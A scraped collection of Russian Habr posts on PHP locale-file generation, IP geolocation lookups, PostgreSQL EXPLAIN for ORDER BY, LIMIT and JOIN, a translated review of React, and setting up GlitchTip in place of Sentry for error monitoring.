Кроме замены макросов вида #name#, я также сразу конвертирую MarkDown разметку в HTML и обрабатываю свои собственные директивы. Например, у меня есть таблица картинок, где на одну запись можно навесить скриншоты для разных языков, и если я в тексте указываю тэг [img "/file/#\*indexes#"], то у меня подставляется изображение с именем indexes с нужным мне языком. Но самое главное — я могу генерировать выгрузки для различных целей в любом формате. В качестве примера приведу код генерации JSON файлов, там правда, за ненадобностью, не используется функция подстановки идентификаторов.
**Генерация JSON файлов для RU и EN**
```
function jsonerror( $message )
{
print $message;
exit();
}
function save_json( $filename )
{
global $db, $original;
preg_match("/^\w*_(?\w\*)\.js$/", $filename, $matches );
if ( empty( $matches['lang'] ))
jsonerror( 'No locale' );
$lang = $db->getrow("select \* from languages where iso639=?s", $matches['lang'] );
if ( !$lang )
jsonerror( 'Unknown locale '.$matches['lang'] );
$list = $db->getall("select lng.name, r.text from langid as lng
left join langres as r on r.langid = lng.id
where lng.restype=5 && verified>0 && r.lang=?s
order by lng.name", $lang['id'] );
$out = array();
foreach ( $list as $il )
$out[ $il['name']] = $il['text'];
if ( $lang['id'] == 1 )
$original = $out;
else
foreach ( $original as $ik => $io )
if ( !isset( $out[ $ik ] ))
$out[ $ik ] = $io;
$output = "/\* This file is automatically generated on eonza.org.
Use http://www.eonza.org/translate.html to edit or translate these text resources.
\*/
var lng = {
\tcode: '$lang[iso639]',
\tnative: '$lang[native]',
";
foreach ( $out as $ok => $ov )
{
if ( strpos( $ov, "'" ) === false )
$text = "'$ov'";
elseif (strpos( $ov, '"' ) === false )
$text = "\"$ov\"";
else
jsonerror( 'Wrong text:'.$text );
$output .= "\t$ok: $text,\r\n";
}
$output .= "\r\n};\r\n";
$jsfile = dirname(\_\_FILE\_\_)."/i18n/$lang[iso639].js";
if ( file\_exists( $jsfile ))
$output .= file\_get\_contents( $jsfile );
if (file\_put\_contents( HOME."tmp/$filename", $output ))
print "Save: ".HOME."tmp/$filename
";
else
jsonerror( 'Save error:'.HOME."tmp/$filename" );
}
$original = array();
$files = array( 'en', 'ru');
foreach ( $files as $if )
save\_json( "locale\_$if.js" );
$zip = new ZipArchive();
print $zip->open( HOME."tmp/locale.zip", ZipArchive::CREATE );
foreach ( $files as $f )
print $zip->addFile( HOME."tmp/locale\_$f.js", "locale\_$f.js" );
print $zip->close();
print "Finish
[ZIP file](/tmp/locale.zip)";
``` | https://habr.com/ru/post/249039/ | null | ru | null |
# Определение города и региона России по IP
И так, 13 Марта, 2009 16:07 появилась следующая новость на данном ресурсе "[Долгожданный XML-сервис!!!](http://blog.ipgeobase.ru/?p=37)".
Это событие необычайно меня обрадовало, ещё бы такой сервис на таком ресурсе и сразу ручки шаловливые зачесались!
Буквально через 10 минут был готов простейший код запроса ip, в ходе обсуждений он получился следующим (сделано на curl):
``> function getip($GetRIP)
>
> {
>
> $data = "".$GetRIP."";
>
>
>
> $ch = curl\_init();
>
>
>
> curl\_setopt($ch, CURLOPT\_URL, "http://194.85.91.253:8090/geo/geo.html");
>
> curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, true);
>
> curl\_setopt($ch, CURLOPT\_HEADER, false);
>
> curl\_setopt($ch, CURLOPT\_POST, 1);
>
> curl\_setopt($ch, CURLOPT\_POSTFIELDS, $data);
>
>
>
> $xml = curl\_exec($ch);
>
> curl\_close($ch);
>
>
>
> //echo $xml;
>
>
>
> $messge="!(.\*?)!si";
>
>
>
> preg\_match($messge, $xml, $main\_ar["message"]);
>
>
>
> if($main\_ar["message"][1]!="Not found")
>
> {
>
> $district="!(.\*?)!si";
>
> $region="!(.\*?)!si";
>
> $town="!(.\*?)!si";
>
>
>
> preg\_match($district, $xml, $main\_ar["district"]);
>
> preg\_match($region, $xml, $main\_ar["region"]);
>
> preg\_match($town, $xml, $main\_ar["city"]);
>
>
>
> $ArMain=array("FIND"=>1,"DISTRICT"=>$main\_ar["district"][1], "REGION"=>$main\_ar["region"][1],"TOWN"=>$main\_ar["city"][1]);
>
> return $ArMain;
>
> }
>
> else return array("FIND"=>0);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Результат запроса представленного в коде:

По коду пару слов, он возвращает:
* «город, к которому относится искомый ip»,
* «регион, к которому относится искомый ip»,
* «федеральный округ РФ, к которому относится искомый ip».` | https://habr.com/ru/post/54728/ | null | ru | null |
# Оптимизация запросов. Основы EXPLAIN в PostgreSQL (часть 3)

Подолжаю публиковать авторскую переработку [Understanding EXPLAIN](http://www.dalibo.org/_media/understanding_explain.pdf) от Guillaume Lelarge.
Ещё раз обращу внимание, что часть информации для краткости опущено, так что настоятельно рекомендую ознакомиться с оригиналом.
##### Предыдущие части:
[Часть 1](http://habrahabr.ru/post/203320/)
[Часть 2](http://habrahabr.ru/post/203386/)
#### ORDER BY
```
DROP INDEX foo_c1_idx;
EXPLAIN (ANALYZE) SELECT * FROM foo ORDER BY c1;
```
> QUERY PLAN
>
> — Sort (cost=117993.01..120493.04 rows=1000010 width=37) (actual time=571.591..651.524 rows=1000010 loops=1)
>
> Sort Key: c1
>
> Sort Method: external merge Disk: 45952kB
>
> -> Seq Scan on foo (cost=0.00..18334.10 rows=1000010 width=37) (actual time=0.007..62.041 rows=1000010 loops=1)
>
> Total runtime: 690.984 ms
>
> (5 rows)
>
>
Сначала производится `Seq Scan` таблицы `foo`. Затем сортировка `Sort`. В выводе команды EXPLAIN знак `->` указывает на иерархию действий (*node*). Чем раньше выполняется действие, тем с б**о**льшим отступом оно отображается.
`Sort Key` — условие сортировки.
`Sort Method: external merge Disk` — при сортировке используется временный файл на диске объёмом `45952kB`.
*Прошу разбирающихся в теме разъяснить различия между `external merge` и `external sort`*.
Проверим с опцией BUFFERS:
```
EXPLAIN (ANALYZE,BUFFERS) SELECT * FROM foo ORDER BY c1;
```
> QUERY PLAN
>
> — Sort (cost=117993.01..120493.04 rows=1000010 width=37) (actual time=568.412..652.308 rows=1000010 loops=1)
>
> Sort Key: c1
>
> Sort Method: external merge Disk: 45952kB
>
> Buffers: shared hit=8334, temp read=5745 written=5745
>
> -> Seq Scan on foo (cost=0.00..18334.10 rows=1000010 width=37) (actual time=0.010..68.203 rows=1000010 loops=1)
>
> Buffers: shared hit=8334
>
> Total runtime: 698.032 ms
>
> (7 rows)
>
>
Действительно, `temp read=5745 written=5745` — во временный файл было записано и прочитано 5745 блоков по 8Kb = 45960Kb. Операции с 8334 блоками были произведены в кэше.
Операции с файловой системой более медленные, чем операции в оперативной памяти.
Попробуем увеличить объём используемой памяти `work_mem`:
```
SET work_mem TO '200MB';
EXPLAIN (ANALYZE) SELECT * FROM foo ORDER BY c1;
```
> QUERY PLAN
>
> — Sort (cost=117993.01..120493.04 rows=1000010 width=37) (actual time=265.301..296.777 rows=1000010 loops=1)
>
> Sort Key: c1
>
> Sort Method: quicksort Memory: 102702kB
>
> -> Seq Scan on foo (cost=0.00..18334.10 rows=1000010 width=37) (actual time=0.006..57.836 rows=1000010 loops=1)
>
> Total runtime: 328.746 ms
>
> (5 rows)
>
>
`Sort Method: quicksort Memory: 102702kB` — сортировка целиком проведена в оперативной памяти.
Индекс:
```
CREATE INDEX ON foo(c1);
EXPLAIN (ANALYZE) SELECT * FROM foo ORDER BY c1;
```
> QUERY PLAN
>
> — Index Scan using foo\_c1\_idx on foo (cost=0.42..34327.57 rows=1000010 width=37) (actual time=0.023..126.076 rows=1000010 loops=1)
>
> Total runtime: 153.452 ms
>
> (2 rows)
>
>
Из действий осталось только `Index Scan`, что заметно отразилось на скорости выполнения запроса.
#### LIMIT
Удалим ранее созданный индекс.
```
DROP INDEX foo_c2_idx1;
EXPLAIN (ANALYZE,BUFFERS)
SELECT * FROM foo WHERE c2 LIKE 'ab%';
```
> QUERY PLAN
>
> — Seq Scan on foo (cost=0.00..20834.12 rows=100 width=37) (actual time=0.033..94.757 rows=3824 loops=1)
>
> Filter: (c2 ~~ 'ab%'::text)
>
> Rows Removed by Filter: 996186
>
> Buffers: shared hit=8334
>
> Total runtime: 94.924 ms
>
> (5 rows)
>
>
Ожидаемо, используются `Seq Scan` и `Filter`.
```
EXPLAIN (ANALYZE,BUFFERS)
SELECT * FROM foo WHERE c2 LIKE 'ab%' LIMIT 10;
```
> QUERY PLAN
>
> — Limit (cost=0.00..2083.41 rows=10 width=37) (actual time=0.037..0.607 rows=10 loops=1)
>
> Buffers: shared hit=26
>
> -> Seq Scan on foo (cost=0.00..20834.12 rows=100 width=37) (actual time=0.031..0.599 rows=10 loops=1)
>
> Filter: (c2 ~~ 'ab%'::text)
>
> Rows Removed by Filter: 3053
>
> Buffers: shared hit=26
>
> Total runtime: 0.628 ms
>
> (7 rows)
>
>
Производится сканирование `Seq Scan` строк таблицы и сравнение `Filter` их с условием. Как только наберётся 10 записей, удовлетворяющих условию, сканирование закончится. В нашем случае для того, чтобы получить 10 строк результата пришлось прочитать не всю таблицу, а только 3063 записи, из них 3053 были отвергнуты (`Rows Removed by Filter`).
То же происходит и при `Index Scan`.
#### JOIN
Создадим новую таблицу, соберём для неё статистику.
```
CREATE TABLE bar (c1 integer, c2 boolean);
INSERT INTO bar
SELECT i, i%2=1
FROM generate_series(1, 500000) AS i;
ANALYZE bar;
```
Запрос по двум таблицам
```
EXPLAIN (ANALYZE)
SELECT * FROM foo JOIN bar ON foo.c1=bar.c1;
```
> QUERY PLAN
>
> — Hash Join (cost=13463.00..49297.22 rows=500000 width=42) (actual time=87.441..907.555 rows=500010 loops=1)
>
> Hash Cond: (foo.c1 = bar.c1)
>
> -> Seq Scan on foo (cost=0.00..18334.10 rows=1000010 width=37) (actual time=0.008..67.951 rows=1000010 loops=1)
>
> -> Hash (cost=7213.00..7213.00 rows=500000 width=5) (actual time=87.352..87.352 rows=500000 loops=1)
>
> Buckets: 65536 Batches: 1 Memory Usage: 18067kB
>
> -> Seq Scan on bar (cost=0.00..7213.00 rows=500000 width=5) (actual time=0.007..33.233 rows=500000 loops=1)
>
> Total runtime: 920.967 ms
>
> (7 rows)
>
>
Сначала просматривается (`Seq Scan`) таблица `bar`. Для каждой её строки вычисляется хэш (`Hash`).
Затем сканируется `Seq Scan` таблица `foo`, и для каждой строки этой таблицы вычисляется хэш, который сравнивается (`Hash Join`) с хэшем таблицы `bar` по условию `Hash Cond`. Если соответствие найдено, выводится результирующая строка, иначе строка будет пропущена.
Использовано 18067kB в памяти для размещения хэшей таблицы `bar`.
Добавим индекс
```
CREATE INDEX ON bar(c1);
EXPLAIN (ANALYZE)
SELECT * FROM foo JOIN bar ON foo.c1=bar.c1;
```
> QUERY PLAN
>
> — Merge Join (cost=1.69..39879.71 rows=500000 width=42) (actual time=0.037..263.357 rows=500010 loops=1)
>
> Merge Cond: (foo.c1 = bar.c1)
>
> -> Index Scan using foo\_c1\_idx on foo (cost=0.42..34327.57 rows=1000010 width=37) (actual time=0.019..58.920 rows=500011 loops=1)
>
> -> Index Scan using bar\_c1\_idx on bar (cost=0.42..15212.42 rows=500000 width=5) (actual time=0.008..71.719 rows=500010 loops=1)
>
> Total runtime: 283.549 ms
>
> (5 rows)
>
>
`Hash` уже не используется. `Merge Join` и `Index Scan` по индексам обеих таблиц дают впечатляющий прирост производительности.
LEFT JOIN:
```
EXPLAIN (ANALYZE)
SELECT * FROM foo LEFT JOIN bar ON foo.c1=bar.c1;
```
> QUERY PLAN
>
> — Hash Left Join (cost=13463.00..49297.22 rows=1000010 width=42) (actual time=82.682..926.331 rows=1000010 loops=1)
>
> Hash Cond: (foo.c1 = bar.c1)
>
> -> Seq Scan on foo (cost=0.00..18334.10 rows=1000010 width=37) (actual time=0.004..68.763 rows=1000010 loops=1)
>
> -> Hash (cost=7213.00..7213.00 rows=500000 width=5) (actual time=82.625..82.625 rows=500000 loops=1)
>
> Buckets: 65536 Batches: 1 Memory Usage: 18067kB
>
> -> Seq Scan on bar (cost=0.00..7213.00 rows=500000 width=5) (actual time=0.003..31.890 rows=500000 loops=1)
>
> Total runtime: 950.625 ms
>
> (7 rows)
>
>
`Seq Scan`?
Посмотрим, какие результаты будут, если запретить Seq Scan.
```
SET enable_seqscan TO off;
EXPLAIN (ANALYZE)
SELECT * FROM foo LEFT JOIN bar ON foo.c1=bar.c1;
```
> QUERY PLAN
>
> — Merge Left Join (cost=0.85..58290.02 rows=1000010 width=42) (actual time=0.024..353.819 rows=1000010 loops=1)
>
> Merge Cond: (foo.c1 = bar.c1)
>
> -> Index Scan using foo\_c1\_idx on foo (cost=0.42..34327.57 rows=1000010 width=37) (actual time=0.011..112.095 rows=1000010 loops=1)
>
> -> Index Scan using bar\_c1\_idx on bar (cost=0.42..15212.42 rows=500000 width=5) (actual time=0.008..63.125 rows=500010 loops=1)
>
> Total runtime: 378.603 ms
>
> (5 rows)
>
>
По мнению планировщика, использование индексов затратнее, чем использование хэшей. Такое возможно при достаточно большом объёме выделенной памяти. Помните, мы увеличивали `work_mem`?
Но, если память в дефиците, планировщик будет вести себя иначе:
```
SET work_mem TO '15MB';
SET enable_seqscan TO ON;
EXPLAIN (ANALYZE)
SELECT * FROM foo LEFT JOIN bar ON foo.c1=bar.c1;
```
> QUERY PLAN
>
> — Merge Left Join (cost=0.85..58290.02 rows=1000010 width=42) (actual time=0.014..376.395 rows=1000010 loops=1)
>
> Merge Cond: (foo.c1 = bar.c1)
>
> -> Index Scan using foo\_c1\_idx1 on foo (cost=0.42..34327.57 rows=1000010 width=37) (actual time=0.005..124.698 rows=1000010 loops=1)
>
> -> Index Scan using bar\_c1\_idx on bar (cost=0.42..15212.42 rows=500000 width=5) (actual time=0.006..66.813 rows=500010 loops=1)
>
> Total runtime: 401.990 ms
>
> (5 rows)
>
>
А как будет выглядеть вывод EXPLAIN при запрещённом `Index Scan`?
```
SET work_mem TO '15MB';
SET enable_indexscan TO off;
EXPLAIN (ANALYZE)
SELECT * FROM foo LEFT JOIN bar ON foo.c1=bar.c1;
```
> QUERY PLAN
>
> — Hash Left Join (cost=15417.00..63831.18 rows=1000010 width=42) (actual time=93.440..712.056 rows=1000010 loops=1)
>
> Hash Cond: (foo.c1 = bar.c1)
>
> -> Seq Scan on foo (cost=0.00..18334.10 rows=1000010 width=37) (actual time=0.008..65.901 rows=1000010 loops=1)
>
> -> Hash (cost=7213.00..7213.00 rows=500000 width=5) (actual time=93.308..93.308 rows=500000 loops=1)
>
> Buckets: 65536 Batches: 2 Memory Usage: 9045kB
>
> -> Seq Scan on bar (cost=0.00..7213.00 rows=500000 width=5) (actual time=0.007..33.718 rows=500000 loops=1)
>
> Total runtime: 736.726 ms
>
> (7 rows)
>
>
`cost` явно увеличился. Причина в `Batches: 2`. Весь хэш не поместился в память, его пришлось разбить на 2 пакета по 9045kB.
*Здесь опять прошу помощи гуру. Объясните, почему при `LEFT JOIN` и достаточном `work_mem`, использование `Merge Left Join` более затратно, чем `Hash Left Join`?*
На этом сегодня остановлюсь.
UPD.
Много полезного про индексы PostgreSQL [рассказали](https://vimeo.com/105424016) Олег Бартунов и Александр Коротков.
Внесу сюда ссылку на свежую статьи от PostgreSQL [Индексы в PostgreSQL](https://habrahabr.ru/company/postgrespro/blog/326096/), [часть 2](https://habrahabr.ru/company/postgrespro/blog/326106/), [часть 3](https://habrahabr.ru/company/postgrespro/blog/328280/). Там многое разъяснено. | https://habr.com/ru/post/203484/ | null | ru | null |
# Нетрадиционный обзор React
Привет, Хабр!
Мы в [Хекслете](https://hexlet.io/?utm_source=habr&utm_medium=blog&utm_campaign=react_review) любим свой стек технологий :) Когда рассказываем другим — многие завидуют: Rails, Docker, AWS, React JS. Реакт мы используем в первую очередь для создания веб-среды для разработки [Hexlet-IDE](https://github.com/Hexlet/hexlet-ide), которая позволяет нашим пользователям выполнять упражнение по разработке приложений и взаимодействию с виртуальной машиной прямо в браузере.
Сегодня мы публикуем перевод статьи «An Unconventional Review of React» Джеймса Шора, ведущего проекта Let’s Code: Test-Driven JavaScript.

Он мне понравился. Я не ожидал такого.
Для специальных выпусков Let’s Code JavaScript в августе и сентябре я изучал [Реакт](http://facebook.github.io/react/).
На случай если вам не знаком Реакт: это библиотека для фронт-энд веб-разработки. С помощью него создаются компоненты: короткие, не-совсем-ХТМЛ теги, которые можно комбинировать для создания интерфейса.
Реакт знаменит своими нетрадиционными решениями: реализацией виртуального DOM’а, созданием элементов интерфейса в JavaScript вместо шаблонов, создание суперсета языка JavaScript — JSX, который позволяет вставлять не-совсем-ХТМЛ прямо в код JS.
С этими решениями разработка уходит от схемы манипуляции DOM’ом — добавить этот элемент, скрыть эффектом другой элемент, обновить это текстовое поле. Вместо этого вы описываете как сейчас должен выглядеть DOM. Реакт берет на себя сложную работу по определению необходимых действий чтобы DOM на самом деле стал выглядеть так, как вы сказали.
Например, в [коде](https://github.com/jamesshore/lab10_react) который я написал для обзора есть таблица, которая должна меняться каждый раз когда изменяются поля конфигурации. Можно подумать что код будет полон страшной логики по манипуляции DOM, но на самом деле никакого кода для манипуляции нет вообще. Вот [он](https://github.com/jamesshore/lab10_react/blob/master/src/client/ui/stock_market_table_row.jsx):
```
/** @jsx React.DOM */
// Copyright (c) 2014 Titanium I.T. LLC. All rights reserved. For license, see "README" or "LICENSE" file.
"use strict";
var StockMarketTableCell = require("./stock_market_table_cell.js");
var StockMarketTableRow = module.exports = React.createClass({
render: function render() {
var year = this.props.stockMarketYear;
return |
;
}
});
```
В этом суть Реакта, и этим он отличается от других. Единственный вопрос: хорош ли он?
#### Критерии нетрадиционного обзора
Обычно, когда вы читаете обзор фронт-энд фреймворка или библиотеки, вы узнаете о его размере, или о том, какие знаменитые люди и компании используют его, или о его производительности. Да, все это важно. Но самый важный вопрос для меня звучит проще:
*В течение следующих 5-10+ лет, когда я буду поддерживать свой продукт, этот код принесет больше пользы или страданий?*
Не так важно сколько времени библиотека сэкономит мне при начальной разработке. О, нет. Намного важнее стоимость поддержки в течение жизни моего приложения.
Для этого у меня есть пять критериев.
1. Замкнутость (Lock-in). Когда я решу перейти на новый или более лучший фреймворк (или библиотеку), насколько сложно будет переключиться?
2. Упрямая архитектура (Opinionated Architecture). Могу ли я решать задачи так, как нужно моему приложению, или я должен повиноваться неким идеям, разработанным авторами фреймворка?
3. Побочная сложность (Accidental Complexity). Я трачу время на решение своей проблемы или борюсь с фреймворком?
4. Тестирование (Testability). Могу ли я просто тестировать свой код, без лишней мороки с mock-объектами?
5. Совместимость с поисковыми движками (Search Engine Compatibility). Придется ли [танцевать с бубном](http://sorcery.smugmug.com/2013/12/17/using-phantomjs-at-scale/) чтобы заставить поисковики индексировать мой сайт?
Я оценил Реакт в каждой категории с помощью a (уиии!), (буэээ!), or ⚇ (ни туда, ни сюда).
#### 1. Замкнутость — ⚇ (ни туда, ни сюда)
Давайте начистоту: когда вы решите попрощаться с Реактом, вам придется переписывать интерфейс с нуля. Нет нормального способа скрыть Реакт за слоем абстракции, и код Реакт-интерфейса не похож ни на что другое. Так что все довольно замкнуто.
Но почему Реакт не получил печальную рожицу?
Два момента спасают Реакт. Во-первых, Реакт провоцирует помещать логику приложения вне UI, так что не придется переписывать все приложение.
Во-вторых, API Реакта относительно небольшое. Не так много точек соприкосновения (см. пункт 3). Это означает, что меньше вероятность сломать что-то при обновлении Реакта. Также, Реакт легко использовать изолированно, для отдельной части страницы, так что можно постепенно мигрировать с Реакта когда появится необходимость.
#### 2.Упрямая архитектура — (уиии!)
Реакт это библиотека, а не фреймворк, и это заметно. Реакт не диктует архитектуру приложения. У меня не было никаких проблем по подключению моего существующего и [заведомо странного](https://github.com/jamesshore/lab10_react/blob/master/src/client/values/invalid_dollars.js) кода к Реакту.
Некоторые люди считают упрямую архитектуру хорошим признаком. «Это позволяет мне понять как структурировать код». Я предпочитаю обратное. Структура приложения должна диктоваться требованиями приложения. Фреймворк не может предсказать эти требования, и они будут меняться с развитием приложения.
Реакт содержит архитектурный паттерн под названием [Flux](http://facebook.github.io/react/docs/flux-overview.html), но он полностью опционален. Это просто способ рассуждать о структуре кода, а не встроенный в Реакт механизм. Так и должно быть.
#### 3. Побочная сложность — ⚇ (ни туда, ни сюда)
О Реакте необходимо знать очень мало, и он мне показался простым и понятным. Есть лишь пара моментов (разница между «props» и «state»), лишь пара концепций (как управлять состоянием; иммутабельные рендер-методы) и несколько методов для реализации типичного компонента. Мой [самый сложный компонент](https://github.com/jamesshore/lab10_react/blob/master/src/client/ui/application_ui.jsx) содержит аж три Реакт-метода. В большинстве случаев хватает одного render().
Ложка дегтя это виртуальный DOM. Это впечатляющее достижение, ключевая штука в Реакте… но он может оказаться [дырявой абстракцией](http://russian.joelonsoftware.com/Articles/LeakyAbstractions.html). Как только вы видите новую или продвинутую фичу DOM, вы рискуете напороться на драку с Реактом. Например, CSS анимации некоторое время [вызывали](http://facebook.github.io/react/docs/animation.html) проблемы, и управление фокусом все еще [шалит](https://github.com/facebook/react/issues/1791).
Сейчас, кажется, команда Реакта успевает все править. Но что будет через пять или десять лет, когда Реакт уже не самая модная штука? Браузера продолжают развиваться, и перед тем как выбрать Реакт для своего проекта, спросите себя: уверен ли я, что Реакт будет поспевать за всеми нововведениями, необходимыми моему приложению?
#### 4. Тестирование — (уиии!)
История с тестированием Реакта выглядит немного незрелой. Она еле-еле дотянула до улыбающейся рожицы.
На первый взгляд Реакт дает простой API для тестирования, и кажется там есть все что нужно. Можно рендерить компонент и искать в дереве DOM с помощью хорошего набора функций. Можно симулировать события. Можно делать mock-компоненты, но я был доволен тем, что они мне ни разу не понадобились.
Документации не очень много, не хватает примеров и рекомендаций по дизайну, особенно если сравнить с остальными частями документации Реакта. Это только поддерживает ощущение незрелости. Но главная проблема в том, что я не смог найти способа сравнивать компоненты. Даже в сравнительно простом приложении, ваши компоненты будут содержать компоненты, и вы не хотите чтобы тесты знали что-то о деталях реализации дополнительных компонентов.
Например, компонент [ApplicationUi](https://github.com/jamesshore/lab10_react/blob/master/src/client/ui/application_ui.jsx) содержит компонент [StockMarketTable](https://github.com/jamesshore/lab10_react/blob/master/src/client/ui/stock_market_table.jsx). Я хочу [проверить](https://github.com/jamesshore/lab10_react/blob/master/src/client/ui/_application_ui_test.jsx) обновляется ли таблица при изменении конфигурации. Для этого я хотел проверить таблицу с готовым хард-кодом:
```
it("updates stock market table when user configuration changes", function() {
config.setStartingBalance(...);
var expectedTable = ;
var actualTable = TestUtils.findRenderedComponentWithType(app, StockMarketTable);
// но как делать сравнение?
});
```
В итоге я обошел проблему, закопавшись в приватные детали реализации Реката, рендерил компоненты в статичный ХТМЛ и сравнивал результат. Вот код.
```
function checkComponent(actual, expected) {
var actualRendering = React.renderComponentToStaticMarkup(actual._descriptor);
var expectedRendering = React.renderComponentToStaticMarkup(expected);
expect(actualRendering).to.equal(expectedRendering);
}
```
Он работает, но в случае падения генерирует страшное сообщение об ошибке, и этот код зависит от деталей реализации Реакта. ([Пришлось](http://www.objectplayground.com/) визуализировать объектный граф рантайма!) Возможно есть способ лучше — и должен быть способ лучше — но я его не нашел.
Кроме этой не такой уж мелкой проблемы, тестировать Реакт одно удовольствие. Зацените [тесты ApplicationUi](https://github.com/jamesshore/lab10_react/blob/master/src/client/ui/_application_ui_test.jsx). Они чудесны в своей простоте, понятны и не содержать mock’ов. Ни один тест не содержит больше двух строк, и это самый сложный компонент всего приложения.
#### 5. Совместимость с поисковыми движками — (уиии!)
Реакту удалось сделать небольшое чудо: они сделали фронт-энд фреймворк, не имеющий проблем в поисковиками.
Благодаря виртуальному DOM’у, Реакт-приложения могут рендериться на стороне сервера с помощью Node.js. Это означает что нужен лишь один канал рендера и для поисковиков и для реальных пользователей. Это также означает что страницы показываются сразу после их подачи. Никакого ожидания document ready событий или загрузки всего JS. Реакт можно использовать для подачи статичной разметки, без клиентского кода вообще.
Круто.
Итог: рекомендую.
Реакт на удивление хорошо собранная библиотека. Мне он показался простым, интуитивно-понятным и легким в использовании. Если вы ищете фронт-энд библиотеку для сложных приложений или даже для сложных виджетов для существующей страницы, стоит обратить внимание на Реакт. Он не идеален, и стоит задуматься о потенциальных проблемах с дырявой абстракцией DOM’а, но он очень хорош. Рекомендую. | https://habr.com/ru/post/249579/ | null | ru | null |
# GlitchTip вместо Sentry. Как мы бесплатно настроили мониторинг ошибок
Привет, хабр! Меня зовут Алексей, я — системный инженер в компании Constanta. Мы с командой занимаемся практиками DevOps, развиваем процессы ci/cd и мониторинга.
Представьте, что у вас есть 10 серверов и 20 микросервисов на них, а релизы проходят каждую неделю. Вы уже мониторите жизнеспособность сервисов и докера с помощью zabbix или prometheus, а с помощью ELK или grailog собираете логи. Кажется, что всё хорошо, но в таком потоке релизов, хотфиксов и строчек кода нужно быстро ориентироваться и вылавливать ошибки внутри приложения, которые не влияют на жизнеспособность сервиса, но мешают его правильной работе.
Стоп! Есть же Sentry, скажете вы. И будете правы. Он удобен, хорошо описан, есть документация, комьюнити и поддержка. Однако, есть одно "но".
Облачный мы не рассматривали сразу по нескольким причинам:
1. он платный;
2. один непроверенный пятничный релиз может потратить все ивенты за выходные;
3. в случае блокировки с одной или с другой стороны можно потерять все.
Если рассматривать Sentry self-hosted с точки зрения инженера по DevOps, становится понятно, что для него требуется много ресурсов, вместе разворачивается много сущностей, что значительно усложняет поддержку и требует постоянный мониторинг потребления ресурсов и отслеживание живости компонентов. Соответственно, вероятность отказа в самый ненужный момент возрастает.
Посмотрите скриншоты (под спойлером)GlitchTip. КонтейнерыGlitchTip. Контейнеры. Потребление ресурсовSentry. КонтейнерыSentry. Контейнеры.Потребление ресурсов на пустом сентри, запущенном локальноПо этим причинам во время поиска аналогов облачного Sentry наш выбор пал на Glitchtip.
### Что такое GlitchTip?
GlitchTip — это приложение для мониторинга ошибок, поддерживающее api Sentry. Оно предоставляет возможность отслеживать ошибки, производительность, доступность эндпоинта, а также интегрироваться с различными сервисами (например, авторизацию через gitlab или keycloak, отправку уведомлений в slack).
Так выглядит GlitchTipОкно входа, с подключенным Gitlab для сквозной авторизацииПоключенные проектыОшибки всех проектов### Сравнение Sentry c GlitchTip
Может быть, вы могли подумать, что GlitchTip — это полный клон Sentry, но это не так. В нем отсутствуют некоторые фичи Sentry, например, дашборды. В таблице ниже я сравнил основные фичи и интеграции.
| | | |
| --- | --- | --- |
| Feature | Sentry | Gitchtip |
| RAM (по документации) | 8GB | 1GB |
| Free Disk Space (по документации) | 20GB | 30GB |
| Error Tracking | + | + |
| Uptime Monitoring | + | + |
| Performance | + | + |
| Dashboards | + | - |
| Discover Trends | + | - |
В этой таблице привел в пример только самые популярные сервисы.
| | | |
| --- | --- | --- |
| Integrations | Sentry | Gitchtip |
| Slack | + | - |
| Gitlab | + | + |
| Githab | + | Только авторизация |
| Jira | + | - |
| Webhooks | + | + |
Благодаря поддержке api с точки зрения взаимодействия с приложением Gitchtip ничем не отличается от Sentry: при регистрации проекта вы получаете DSN (Data Source Name), который прописываете в настройках подключения своего приложения.
Пример под спойлером.Регистрируем приложение, получаем подсказкуКопируем DSNДалее для перехвата ошибок:
* добавить sentry-sdk==1.6.0 в зависимости проекта;
* добавить в докерфайл приложения переменную окружения с DSN, чтобы не показывать ее в коде:
```
ENV SENTRY_DSN='https://4b6a3d54e8904e5698ffbab8f5f55fc4@/1'
```
* импортировать в проект нужные библиотеки, например:
```
import sentry_sdk
from sentry_sdk import capture_exception
```
* добавить инициализацию:
```
sentry_sdk.init(dsn=os.getenv('SENTRY_DSN'))
```
* подставить перехватчик к ошибке:
```
def get_json(url):
try:
url = url
get_metrics_api = urlopen(url).read()
get_metrics_api_json = json.loads(get_metrics_api)
except HTTPError as e:
capture_exception(e)
if e.code == 403:
get_metrics_api_json = {'Code': 403}
```
После этого в проекте можно посмотреть, что ошибка появилась
Ошибка в новом проектеРасширенная информация об ошибкеC точки зрения администрирования у GlitchTip поднимается всего 4 контейнера (web, worker, redis и postrgresql), также для работы вам понадобится nginx. Помимо этого у вас есть стандандартная джанго-админка, где вы можете завести организацию и добавлять в нее пользователей. Еще вам может понадобится smtp (если вы хотите отправлять email о событиях), но нам данный функционал показался излишним и мы его не настраивали.
### Установка и настройка
Установка и настройка описаны в [документации](https://glitchtip.com/documentation), поэтому в статье мы не будем затрагивать этот процесс; если вкратце, то нужно забрать себе [docker-compose.yml](https://glitchtip.com/documentation/install#docker-compose), поправить его под свои нужды и запустить на сервере.
Хотелось бы только отметить некоторые переменные для docker-compose, без которых не обойтись (спрятаны под спойлер).
Переменные:SECRET\_KEY – поменять на любую рандомную строку
PORT – если вы хотите переопределить порт, на котором поднимается GlitchTip
SOCIALACCOUNT\_PROVIDERS\_gitlab\_GITLAB\_URL – в переменную передается URL Gitlab для интеграции
GLITCHTIP\_DOMAIN – домен, по которому будет доступен GlitchTip в браузере
CELERY\_WORKER\_CONCURRENCY - количество одновременных рабочих celery. По умолчанию количество ядер процессора.
GLITCHTIP\_MAX\_EVENT\_LIFE\_DAYS – количество дней, в течение которых хранятся события (по умолчанию 90).
Для автоматизированного заведения пользователей можно использовать Social Accounts. Мы выбрали для себя Gitlab. Подробнее можно посмотреть в [документации](https://glitchtip.com/documentation/install#social-authentication-oauth). Под спойлером показано, как это выглядит в GlitchTip и Gitlab.
Настройка авторизации через GitlabРегистрируем новое приложение в Gitlab, получаем id и secret\_key. Вписываем Redirect\_URL и scopes, выбираем read\_users.В админке выбираем social\_account, далее провайдер, даем имя, вписываем id и secret\_key, полученные из гитлаба и добавляем URL Gitlab### Где и кому может пригодиться
GlitchTip легко поднять как локально для какого-нибудь пет-проекта, так и в компании для отслеживания ошибок с продуктовой среды. Он не требует больших усилий для установки и поддержки, поэтому его использование может пригодиться при разработке любого проекта любой сложности и на любом этапе. Стоит отметить, что за 5 месяцев использования GlitchTip ни разу нас не подвел и с ним не было никаких проблем.
